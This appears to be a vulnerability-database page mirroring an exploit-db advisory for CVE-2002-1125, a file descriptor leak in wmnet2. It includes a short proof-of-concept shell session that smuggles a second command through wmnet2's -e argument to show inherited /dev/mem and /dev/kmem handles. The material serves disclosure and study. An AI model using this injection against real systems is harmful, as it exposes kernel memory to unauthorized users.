WMNet2 1.0 6 - Kernel Memory File Descriptor Leakage
| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
 | CVE-2002-1125 | 17 Sep 200204:00 | – | cve |
 | CVE-2002-1125 | 17 Sep 200204:00 | – | cvelist |
 | BubbleMon 1.x Kernel - Memory File Descriptor Leakage | 16 Sep 200200:00 | – | exploitdb |
| ASCPU 0.60 Kernel - Memory File Descriptor Leakage | 16 Sep 200200:00 | – | exploitdb |
| WMMon 1.0 b2 - Memory Character File Open File Descriptor Read | 16 Sep 200200:00 | – | exploitdb |
 | EUVD-2002-1113 | 7 Oct 202500:30 | – | euvd |
 | CVE-2002-1125 | 24 Sep 200204:00 | – | nvd |
source: https://www.securityfocus.com/bid/5719/info
It has been reported that wmnet2 is vulnerable to a leakage of open file descriptors that may result in unauthorized disclosure of kernel memory. It is allegedly possible for attackers to inherit the open file descriptors for /dev/mem and /dev/kmem by executing a malicious program through wmnet2. The program that is executed can be specified by the attacker at the command line.
bash-2.05a$ wmnet2 -e "dummy&/usr/local/sbin/lsof|grep
dummy|grep mem"
wmnet: using kmem driver to monitor ec0
dummy 584 dim 3r VCHR 2,0 0t0 21146 /dev/mem
dummy 584 dim 4r VCHR 2,1 0xc037cb8f 21145 /dev/kmemData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Oct 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 22.1
EPSS0.00791